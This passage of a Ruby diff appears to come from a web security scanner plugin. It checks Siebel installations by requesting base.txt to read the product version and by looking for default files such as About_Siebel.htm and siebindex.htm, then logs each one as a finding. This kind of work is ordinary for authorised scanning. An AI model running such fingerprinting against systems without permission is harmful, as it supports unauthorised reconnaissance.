+ base_test.replaceFileExt("base.txt")
106
+ # puts base_test.url
107
+ status, base_request, base_response = fileExists?(base_test, :default => true)
108
+
109
+ if status == true and base_response.has_body?
110
+ version = nil
111
+ if base_response.body.strip =~ /^([0-9.]*) /
112
+ version = $1
113
+ end
114
+ addFinding( base_request,base_response,
115
+ :test_item => base_request.url.to_s,
116
+ :check_pattern => "base.txt",
117
+ :proof_pattern => "#{base_response.status}",
118
+ :chat => chat,
119
+ :title => "#{app_dir}",
120
+ :check_name => "Siebel Version #{version}",
121
+ :class => "Siebel: Version #{version}"
122
+ )
123
+ end
124
+
125
+ # check for About_Siebel.htm and siebindex.htm
126
+ %w( About_Siebel.htm help/siebindex.htm siebindex.htm ).each do |df|
127
+ default_test = chat.copyRequest
128
+ default_test.appendDir app_dir
129
+ default_test.replaceFileExt(df)
130
+ status, default_request, default_response = fileExists?(default_test, :default => true)
131
+
132
+ if status == true
133
+ addFinding( default_request,default_response,
134
+ :test_item => "#{default_request.url.to_s}",
135
+ :check_pattern => "#{df}",
136
+ :proof_pattern => "#{default_response.status}",
137
+ :chat => chat,
138
+ :title => "#{df}",
139
+ #:check_name => "Siebel Version #{version}",
140
+ :class => "Siebel: Default Files"
141
+ )
142
+ end
143
+ end
144
+
145
+ end
146
+ rescue => bang
147
+ puts bang
148
+ puts bang.backtrace
149
+ end
150
+ [ test_request, test_response ]
151
+ }
152
+ yield checker
153
+ end
154
+ end
155
+ end
156
+
157
+ rescue => bang
158
+ puts bang
159
+ puts "ERROR!! #{Module.nesting[0].name}"
160
+ raise
161
+
162
+ end
163
+ end
164
+
165
+ end
166
+ # --> eo namespace
167
+ end
168
+ end
169
+ end
170
+ end